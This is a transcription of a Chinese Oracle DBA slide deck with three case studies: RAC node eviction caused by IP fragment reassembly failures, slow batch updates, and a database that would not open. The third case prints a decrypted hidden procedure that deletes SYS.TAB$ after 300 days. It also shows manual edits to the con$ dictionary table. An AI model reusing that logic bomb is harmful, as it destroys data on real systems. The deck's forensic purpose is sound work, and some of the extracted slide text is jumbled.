PowerPoint 演示文稿

Transcription

1 关注公众号回复 help, 可获取更多经典学习资料和文档, 电子书

2

3 李真旭云和恩墨西区服务交付总经理 网名 Roger, 近 10 年的 Oracle 技术积累 ; ACOUG 核心会员 ; 2014 年被授予 Oracle ACE 称号 ; 致力于技术分享与传播 o ACOUG 和数据库大会演讲者 ; o 参与翻译 Export Oracle RAC 12c ; o 博客 : o 微博 o Phone: 云和恩墨国内综合数据服务领导者 汇聚 Oracle ACE 总监,Oracle ACE,SQL 大赛冠军, 以及数十位 OCM 专家, 同时具备 MySQL 和 DB2 专家 ; 为包括电信 金融 保险 电商 能源等行业 200 多家客户提供服务和解决方案 ;

4

5 Sat Oct 08 16:14: IPC Send timeout detected. Sender: ospid (LMS3)] Receiver: inst 1 binc ospid IPC Send timeout detected. Sender: ospid [oracle@xxxx (LMD0)] Receiver: inst 1 binc ospid IPC Send timeout to 1.0 inc 10 for msg type from opid 12 Sat Oct 08 16:14: IPC Send timeout detected. Sender: ospid [oracle@xxxx (PING)] Receiver: inst 1 binc ospid Sat Oct 08 16:14: Detected an inconsistent instance membership by instance 2 Evicting instance 1 from cluster 我们能够得到什么信息?

6 LMS 进程的作用是什么? LMD 进程的作用是什么? Oracle Rac 脑裂机制的判断方式?

7 Sat Oct 08 16:14: Detected an inconsistent instance membership by instance 2 Errors in file /u01/../xxxx1_lmon_11382.trc (incident=363695): ORA-29740: evicted by instance number 2, group incarnation 12 Incident details in: /u01/../xxxx1_lmon_11382_i trc Errors in file /u01/../xxxx1_lmon_11382.trc: ORA-29740: evicted by instance number 2, group incarnation 12 LMON (ospid: 11382): terminating the instance due to error 数据库节点 1 的情况如何? 29740, 00000, "evicted by member %s, group incarnation %s" // *Cause: This member was evicted from the group by another member of the // cluster database for one of several reasons, which may // include a communications error in the cluster, failure to issue // a heartbeat to the control file, etc. // *Action: Check the trace files of other active instances in the cluster // group for indications of errors that caused a reconfiguration.

8 IPC Send timeout 网络问题造成丢包或通讯异常 主机资源 (CPU 内存 I/O 等 ) 问题导致进程无法响应 Oracle BUG( 例如 Oracle DRM 的一些 bug)

9 排除法 xxdb1_netstat_ dat:zzz ***Sat Oct 8 16:10:09 CST 2016 xxdb1_netstat_ dat: packet reassembles failed xxdb1_netstat_ dat:zzz ***Sat Oct 8 16:11:09 CST 2016 xxdb1_netstat_ dat: packet reassembles failed xxdb1_netstat_ dat:zzz ***Sat Oct 8 16:12:09 CST 2016 xxdb1_netstat_ dat: packet reassembles failed xxdb1_netstat_ dat:zzz ***Sat Oct 8 16:13:09 CST 2016 xxdb1_netstat_ dat: packet reassembles failed xxdb1_netstat_ dat:zzz ***Sat Oct 8 16:14:09 CST xxdb1_netstat_ dat: packet reassembles failed xxdb1_netstat_ dat:zzz ***Sat Oct 8 16:17:09 CST 2016 xxdb1_netstat_ dat: packet reassembles failed xxdb1_netstat_ dat:zzz ***Sat Oct 8 16:18:09 CST 2016 xxdb1_netstat_ dat: packet reassembles failed xxdb1_netstat_ dat:zzz ***Sat Oct 8 16:19:09 CST 2016 xxdb1_netstat_ dat: packet reassembles failed

10 关于 Linux IP 协议

11 packet reassembles failed 含义 : 表示 IP 包重组失败的累计次数 为什么需要重组? 为什么会有碎片?

12 INST_ID EVENT COUNT(*) TO_CHAR(SAMPLE DFS lock handle : SQL*Net message from dblink :29 1 gc buffer busy acquire :29 1 gc buffer busy release :29 1 gc cr block lost : gc buffer busy acquire :57 1 gc buffer busy release :57 1 gc cr block lost :57 1 gc buffer busy acquire :58 1 gc buffer busy release :58 1 gc cr block lost :58

13 SESSION_ID EVENT SQL_ID TO_CHAR(SAMPLE_TI BLK_INST BLK_SESS gc cr block lost 6du8d4vw29mda :29: gc buffer busy acquire c94kxb6mfh2a :29: gc buffer busy acquire b24p4r6vm8hhg :29: gc gcbuffer cr block busy acquire lost 6du8d4vw29mda 6du8d4vw29mda :29:22 14:29: gc cr block lost 6du8d4vw29mda :29: gc buffer busy acquire 6du8d4vw29mda :29: gc buffer busy acquire 6du8d4vw29mda :29: gc buffer busy acquire 6du8d4vw29mda :29: gc buffer busy acquire c94kxb6mfh2a :29: gc buffer busy acquire 6du8d4vw29mda :29: gc buffer busy acquire 6du8d4vw29mda :29: gc buffer busy acquire 6du8d4vw29mda :29: gc buffer busy release b24p4r6vm8hhg :29:22 SESSION_ID EVENT SQL_ID TO_CHAR(SAMPLE_TI BLK_INST BLK_SESS SESSION_ID EVENT SQL_ID TO_CHAR(SAMPLE_TI BLK_INST BLK_SESS 2947 gc buffer busy acquire 6du8d4vw29mda :29: gc buffer busy acquire 6du8d4vw29mda :29: gc buffer busy acquire 6du8d4vw29mda :29: gc buffer busy acquire 6du8d4vw29mda :29: gc buffer busy acquire 6du8d4vw29mda :29: gc buffer busy acquire 6du8d4vw29mda :29: gc buffer busy acquire 6du8d4vw29mda :29: gc buffer busy acquire 6du8d4vw29mda :29: gc buffer busy acquire 6du8d4vw29mda :29: gc buffer busy acquire 6du8d4vw29mda :30: gc buffer busy acquire 6du8d4vw29mda :29: gc buffer busy acquire 6du8d4vw29mda :30: gc buffer busy acquire 6du8d4vw29mda :30: gc buffer busy acquire 6du8d4vw29mda :30: [root@xxx /]#netstat -s grep 'fragments dropped after timeout' fragments dropped after timeout 0 fragments dropped after timeout

14 如何解决呢? 使用 Jumbo Frame 增加网络传输 Buffer /sbin/sysctl -w net.ipv4.ipfrag_high_thresh= /sbin/sysctl -w net.ipv4.ipfrag_low_thresh= /sbin/sysctl -w net.ipv4.ipfrag_time=60 计算公式 : High >= numcpus*sizeof(packet_reassembly_buffer) RHEL 6.6:IPC Send timeout/node eviction etc with high packet reassembles failure The CRSD is intermediate state and not joining to the cluster

15

16 应用升级后突然变慢了

17 现象 SID USERNAME BLOCKING_SESSION SQL_ID EVENT BILL 4718 ckbx663tb92mc enq: TX - row lock contention 4718 BILL 5239 ckbx663tb92mc enq: TX - row lock contention 4720 BILL 4718 ckbx663tb92mc enq: TX - row lock contention 5209 BILL 4718 ckbx663tb92mc enq: TX - row lock contention 5220 BILL 7jaq6ay3qppwu SQL*Net more data from client 5239 BILL 4718 ckbx663tb92mc enq: TX - row lock contention Cycle 1 : <cnode/sid/sess_srno/proc_ptr/ospid/wait_event> : <1/4419/19075/0x4c8975a8/ /enq: TX - row lock contention> -- <1/3570/24074/0x4d8e9d50/ /enq: TX - row lock contention>

18 update 为什么会慢 UPDATE EVENT_AGGR SET VALUE = :VALUE + VALUE, GIVEN_VALUE = :GIVEN_VALUE, VERSION_ID = :VERSION_ID WHERE EVENT_AGGR_ID = :EVENT_AGGR_ID Rows Row Source Operation UPDATE EVENT_AGGR (cr=6 pr=0 pw=0 time=456 us) 2 INDEX UNIQUE SCAN PK_EVENT_AGGR12H (cr=6 pr=0 pw=0 time=86 us)

19 为什么

20 10046 trace call count cpu elapsed disk query current rows Parse Execute Fetch total Elapsed times include waiting on following events: Event waited on Times Max. Wait Total Waited Waited SQL*Net message to client SQL*Net message from client db file sequential read gc current grant 2-way latch: KCL gc element parent latch

21 -cp.:classes12.zip TestBatch 135.xx.xx.xx:1521:bill xx bill_xx 1000 Usage: java -cp.:classes12.zio TestBatch ip:port:sid user pass commitsize [sleep] 1000 rows updated in 346 ms 2000 rows updated in 155 ms 3000 rows updated in 25 ms 4000 rows updated in 25 ms rows updated in 83 ms rows updated in 58 ms rows updated in 57 ms rows updated in 68 ms rows updated in 77 ms all rows updated in 2069 ms Test

22 问题 SQL 的历史执行情况 UPDATE EVENT_AGGR SET VALUE = :VALUE + VALUE, GIVEN_VALUE = :GIVEN_VALUE, VERSION_ID = :VERSION_ID WHERE EVENT_AGGR_ID = :EVENT_AGGR_ID UPDATE EVENT_AGGR SET VALUE = :VALUE + VALUE WHERE EVENT_AGGR_ID = :EVENT_AGGR_ID

23 问题 SQL 的历史执行情况

24 Batch Update

25 Root cause 每个 Package 中对于对应多少文件, 就对应多少 Update 多进程并发执行 每一次 update 的执行, 并非连续 ( 还需读取文件 )

26

27 定期维护重启后无法打开

28 1 通过 alert log 确认 9 月 2 号进行了升级操作 2 升级之后至今数据库未做过任何调整, 也没有重启过数据库 3 搜索发现 DBMS_SUPPORT 脚本来源于?/rdbms/admin/prvtsupp.plb 问题如何发生

29 解密 prvtsupp.plb PROCEDURE DBMS_SUPPORT_DBMONITORP IS DATE1 INT :=10; BEGIN SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE; IF (DATE1>=300) THEN EXECUTE IMMEDIATE 'create table ORACHK' SUBSTR(SYS_GUID,10) ' tablespace system as select * from sys.tab$'; DELETE SYS.TAB$; COMMIT; EXECUTE IMMEDIATE 'alter system checkpoint'; END IF; END;

30 如何解决? alter system set "_system_trig_enabled"=false scope=both; alter database open ; alter trigger DBMS_SUPPORT_DBMONITOR disable; drop TRIGGER DBMS_SUPPORT_DBMONITOR; drop PROCEDURE DBMS_SUPPORT_DBMONITORP; drop PACKAGE DBMS_SUPPORT; 事情没有想象的那么简单

31 Create table hung

32 Test Again insert into con$(owner#,name,con#,... insert into tab$(obj#,ts#,file#,block#,... insert into col$(obj#,name,intcol#,segcol#,... insert into ccol$(con#,obj#,intcol#,pos#,... insert into cdef$(obj#,con#,type#,intcols,... 创建约束时 Oracle 会以 _next_constraint 的 con# 值为当前所能创建成功的约束 con#; 该值必须比 con$.max(con#) 要大 ( 其实只要大于即可 )

33 比较 select /*+INDEX(con$ I_CON2) */ con# from con$ order by 1 ; CON# select /*+full(con$) */ con# from con$ order by 1 ; CON#

34 SQL> select rowid, 2 dbms_rowid.rowid_object(rowid) object_id, 3 dbms_rowid.rowid_relative_fno(rowid) file_id, 4 dbms_rowid.rowid_block_number(rowid) block_id, 5 dbms_rowid.rowid_row_number(rowid) num 6 from con$ where con#=144216; ROWID OBJECT_ID FILE_ID BLOCK_ID NUM AAAAAcAABAAAc+PAAS SQL> select /*+full(con$) */ rowid,dbms_rowid.rowid_relative_fno(rowid) file_id, 2 dbms_rowid.rowid_block_number(rowid) block_id 3 from con$ where con#= / ROWID FILE_ID BLOCK_ID AAAAAcAABAAAAEhAAM 1 289

35 SQL> delete from con$ where con#=144216;. SQL> commit; SQL> insert into con$ values(0,'_next_constraint',144236,0,'','','','',''); SQL> commit; SQL> select /*+full(con$) */ rowid, dbms_rowid.rowid_object(rowid) object_id, dbms_rowid.rowid_relative_fno(rowid) file_id, dbms_rowid.rowid_block_number(rowid) block_id, dbms_rowid.rowid_row_number(rowid) num_5 from con$ where con#=144236; ROWID OBJECT_ID FILE_ID BLOCK_ID NUM_ AAAAAcAABAAAc+PAAS

36 SQL> select /*+INDEX(con$ I_CON2) */rowid, 2 dbms_rowid.rowid_object(rowid) object_id, 3 dbms_rowid.rowid_relative_fno(rowid) file_id, 4 dbms_rowid.rowid_block_number(rowid) block_id, 5 dbms_rowid.rowid_row_number(rowid) SQL> conn test/test num_5 6 from con$ where Connected. con#=144236; SQL> create table tt_con(id nur not null); ROWID Table OBJECT_ID created. FILE_ID BLOCK_ID NUM_ AAAAAcAABAAAc+PAAS 自此, 整个 Case 完美收官!

37

38

39